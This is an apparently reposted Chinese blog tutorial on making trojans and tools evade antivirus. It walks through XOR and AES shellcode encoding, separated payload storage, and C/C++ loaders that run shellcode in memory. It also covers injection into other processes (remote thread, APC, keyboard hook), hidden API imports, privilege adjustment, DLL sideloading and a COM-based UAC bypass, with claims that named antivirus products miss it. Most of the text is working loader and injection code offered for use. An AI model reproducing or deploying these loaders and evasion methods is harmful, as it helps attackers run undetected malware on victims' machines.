免责声明
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文链接:https://xz.aliyun.com/t/13332
很多人其实并不知道如何去做免杀,免杀的目的并不是说一定要让所有杀毒软件都无法检测,其实只需要让目标机器无法检测就行了。那么免杀这是一个大类,如果直接去说,这其实是大而空的,那么具体免杀,我们需要去做些什么呢?我将会从下面几个方面来论述。(这些方面也是基本涵盖了常见的免杀需求)
技术方面这里就百花齐放了,各种花里胡哨的方法。无论是工具的免杀还是做木马的免杀,不过大部分也就是:
语言的话,这里可以选择的语言非常多,可以选择语言本身的函数以及语言的特性,可以使用语言调用win api操作,可以使用我来随机举几个例子。常见的:
虽然说这里看着技术很多,但是我们只是需要实现我们的目的。那么我在这里继续举例一下都是些什么。
对于是否是分离payload,无非从代码层面就是多了一些payload的读取,本地读取,注册表写入读取,远程拉取等等,只是形式而已。
而对于payload,也就是攻击载荷相关的内容。也是采取了混淆,编码,变形等。
那么对于payload我们一般就是采取加密,编码,混淆。无论什么语言。例如:xor,base家族,现代密码(aes,des,rsa。。),古典密码等等。这里举几个例子。
这里是把shellcode进行xor编码,然后可以保存到文件中,也可以按照自己的方式操作。
unsigned char buf[] = "shellcode"
int password = 1025;
unsigned char enShellCode[50000];
unsigned char deShellCode[50000];
int nLen = sizeof(buf) - 1;
printf("%d\n加密后:\n", nLen);
for (int i = 0; i < nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
}
FILE* fp;
unsigned char buffer[1024];
int bytesRead;
fp = fopen("1.txt", "rb");
if (fp == NULL) {
printf("Failed to open file");
exit(1);
}
bytesRead = fread(buffer, sizeof(unsigned char), sizeof(buffer), fp);
if (bytesRead == 0) {
printf("Failed to read file");
exit(EXIT_FAILURE);
}
for (int i = 0; i < bytesRead; i++) {
printf("\\x%x", buffer[i]);
}
printf("");
fclose(fp);
printf("\n解密后:\n");
for (int i = 0; i < nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
用到了openssl/aes.h文件。在vs中操作。
安装:
vcpkg integrate install
vcpkg install openssl:x86-windows
vcpkg install openssl:x64-windows
代码:
void aes_encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key, unsigned char *ciphertext) {
AES_KEY aes_key;
AES_set_encrypt_key(key, 128, &aes_key);//设置密钥
int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);//每16字节加密一次
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) {
block[j] = plaintext[i * BLOCK_SIZE + j];
}
for (; j < BLOCK_SIZE; j++) {
block[j] = '\0';
}
AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key);
}
}
void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key, unsigned char *plaintext) {
AES_KEY aes_key;
AES_set_decrypt_key(key, 128, &aes_key);
int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1);
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key);
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) {
plaintext[i * BLOCK_SIZE + j] = block[j];
}
}
}
一方面是加密,一方面是解密。
这里展示了c的,语言表现形式很多,不同语言实现的方式不同,也不用纠结是什么语言的
读取
char* buf = (char*)malloc(926 + 1);
HANDLE openinfile = CreateFileA("aaa.txt",GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
int size = GetFileSize(openinfile, NULL);
DWORD lpNumberOfBytesRead = 0;
BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);
写入
HANDLE hFile = CreateFile(L"aaa.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOFBytesWrite = 0;
BOOL wfile = WriteFile(hFile, buf, size, &lpNumberOFBytesWrite, NULL);
/*for (int i = 0; i < 926; i++)
{
printf("\\x%02x", (unsigned char)sc[i]);
}*/
主要结构:
WinHttpOpen
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
我这里用递归读取 而远程文件可以直接开个python的http服务
python3 -m http.server
前提是得写入注册表^_^
#include <stdio.h>
#include <windows.h>
int main() {
HKEY hKey;
char value[255];
DWORD bufSize = sizeof(value);
// 打开注册表项
if (RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
// 读取注册表值
if (RegGetValue(hKey, NULL, "ProductName", RRF_RT_REG_SZ, NULL, value, &bufSize) == ERROR_SUCCESS) {
printf("Product Name: %s\n", value);
} else {
printf("Failed to read registry value.\n");
}
// 关闭注册表项
RegCloseKey(hKey);
} else {
printf("Failed to open registry key.\n");
}
return 0;
}
对于加载器的写法,无论别的是什么,也总得要有个入口点,也就是api,可以使用常见的api,可以使用自己找个少见的api。比如:VirtualAlloc,更底层是VirtualAllocEx。
一个最简单的直接加载payload,开辟内存空间运行,把载荷放进去。
#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
char shellcode[] = "把shellcode粘贴到这里";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
return 0;
}
自己这个程序运行后,给自己开个线程运行
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode
把恶意的载荷加载去第三方的进程,这样应急排查的话,就会看见一个正常的进程。
打开一个要加载的远程线程:
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
分配空间:
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
写入内存:
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
APC(Asynchronous Procedure Call)注入是一种基于Windows操作系统的高级漏洞利用技术,通常用于绕过安全防护措施,执行恶意代码。其原理如下:
APC注入利用了Windows操作系统的异步过程调用机制,通过向进程中注入线程,并在指定时机触发线程执行,从而实现执行恶意代码的目的。由于APC是在目标进程的上下文中执行,所以可以绕过一些安全防护措施,使恶意代码不易被检测和阻止。
需要注意的是,APC注入是一种高级的攻击技术,需要深入了解操作系统和漏洞利用原理才能正确实施。在合法场景下使用或研究APC注入,请确保符合法律规定,并遵循合规的安全测试流程。
既然是注入每一个线程,自然要有一个循环,循环每一个线程:
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
其他的代码和别的加载方式并没太大差别。当然还有apc注入earlybird版本,建议自行研究了。
这个就稍微有点难度了,但仔细研究并没多难。Windows允许程序使用SetWindowHookEx
安装钩子来监控各种系统事件,如鼠标点击和键盘按键。
HMODULE library = LoadLibraryA("Dll1.dll");
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
Sleep(10 * 1000);
UnhookWindowsHookEx(hook);
而在dll里:
extern "C" __declspec(dllexport) int spotlessExport() {
unsigned char shellcode[] = "";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
这样可以实现运行程序后,dll并不会立即加载。而是会在HOOK后执行。
这些是不同形式的加载恶意载荷,根据我的朋友(一位研究apt样本)描述,在apt组织中,他们更常见采用的加载方式是: 程序黑1调用黑2,黑2调用黑3。并且会去掉他们的pe头文件。总体也就是分段加密,分段解密,在不同的地方解密,不同的地方组装。类似于区块链的去中心化的组装模式,最后再运行。 这样即使提取文件出来,也不会得到全部的数据,对于取证也是具有难度。
这样看上去,不是完整的pe,也不是完整的shellcode。 而对于apt组织的白加黑样本(后续介绍白加黑),他们也经常是采用白程序加载一个可信任的dll(可能是已经签名了),然后这个黑dll再去加载一个自己黑dll,多来几层这种类。(比较类似于之前爆出来vmware的白程序被apt组织利用的样本。)
当然本篇文章,只是一个方向性质的总结文章。也是希望可以帮助到大多数师傅入门免杀的文章。这里就介绍一些简单的api了。
这种是动态导入表,但是只能在三环有点操作,但是在零环并没什么。
(三环内)
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
然后利用GetProcAddress获得地址
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
最后使用我们自定义的函数
病毒木马想要实现一些关键的系统操作时。
比如:通过调用ExitWindows函数实现关机或重启操作的时候就需要SE_SHUTDOWN_NAME权限
否则,会忽视操作不执行
注意
AdjustTokenPrivileges返回TRUE,并不代表特权设置成功,还需要使用GetLastError来判断错误码返回值。
若错误码返回值为ERROR_SUCCESS,则表示所有特权设置成功;若为ERROR_NOT_ALL_ASSIGNED,
则表示并不是所有特权都设置成功
换句话说,如果在程序中只提升了一个访问令牌特权,
且错误码为ERROR_NOT_ALL_ASSIGNED,则提升失败。如果程序运行在 Windows 7或者以上版本的操作系统,
可以尝试以管理员身份运行程序然后再测试
代码:
// 开启SeDebugPrivilege
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
BOOL bResult;
bResult = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (!bResult)
{
_tprintf(_T("OpenProcessToken failed, error code: %d\n"), GetLastError());
return 1;
}
bResult = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid);
if (!bResult)
{
_tprintf(_T("LookupPrivilegeValue failed, error code: %d\n"), GetLastError());
return 1;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (!bResult)
{
_tprintf(_T("AdjustTokenPrivileges failed, error code: %d\n"), GetLastError());
return 1;
}
判断当前权限,可以手动做个提权的功能之类的,所以也就把这个加进来了。
#include <ShlObj.h>
#include <tchar.h>
int _tmain()
{
BOOL bIsAdmin = IsUserAnAdmin();
if (bIsAdmin)
_tprintf_s(_T("Run As administrator"));
else
_tprintf_s(_T("Run As user"));
system("pause");
return 0;
}
注入此类的,通过读取注册表,判断cpu内存等,判断进程,延时执行等等。
一个白程序加载一个黑dll叫做白加黑执行。 这里的dll功能可以按照你的想法来编写。
白加黑,从dll的加载上我觉得分为两种:
dll加载的顺序:
然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 loadlibrary(Ex) ,说明这个dll被进程所动态加载的。如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。 loadlibrary和loadlibraryex是一个本地加载,一个是远程加载,如果dll不在调用的同一目录下,就可以使用loadlibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用loadlibraryex进行远程加载
1.找到dll
2.编写dll放到和程序同目录
然后运行即可,会自动调用
360核晶无感,火绒无感。
代码: 这里就不给出代码了,功能也好,入口点加载也好,上文已经给出了。
1.找到目标进程加载了哪些dll
2.找一个dll
假设我们选取amsi.dll
我们看到这个导入目录中存在LoadLibraryExW
然后再去找到它的函数有什么,下一次尝试写入。这里的函数都可以使用。
之前想到了一个突发奇想,想到了可以把可执行文件转换成shellcode,然后老样子成为载荷加载。刚开始试验起来,效果也还不错。这种也没什么困难的,也算是另一种变相的加载了。而且近半年也能看见很多github和公众号出现了这种免杀方法,研究免杀的师傅也是越来越多了。
其他的对于工具的免杀,核心点也是混淆,编码等。但是对于fscan或者frp这种项目,也是主要动态行为免杀了。比如frp,需要去修改流量特征,参数等运行的需要修改。
至于其他的功能,提权,权限维持,如何去做的免杀也就是这些了。
马子架构
这里就是比较偏向于娱乐功能了,设计了一个马子的架构,可以直接提权上线,但是实际上,也就娱乐了。
通过允许的的应用程序提升权限激活COM类,然后使用ICMLuaUtil的ShellExec来创建进程。
允许的进程是:记事本,计算器,资源管理器,rundll32.exe等,这里直接利用rundll32.exe加载dll,用一个管理员权限启动恶意程序。 这里我就随便举了个小例子 bypass uac了。
关于免杀大概就说到这里吧,看了很多的免杀思路,主要还是分离免杀吧,去做加载器,再加上点编码混淆,就拿来用了。其实这样也没什么问题,但是依旧应该去研究一下更少见的内容,最好是自己分析,调试一下,而不是直接下载项目,自己编译运行,报错了也不知道为什么会报错。希望和各位安全师傅共勉,共同进步。 参考文件:
https://mp.weixin.qq.com/s/ADxchJEJZmcvl2EszukYMw
https://www.cnblogs.com/-qing-/p/12234148.html#_label0
https://xz.aliyun.com/t/12376
https://xz.aliyun.com/t/11711
https://blog.csdn.net/qq_46804551/article/details/124546603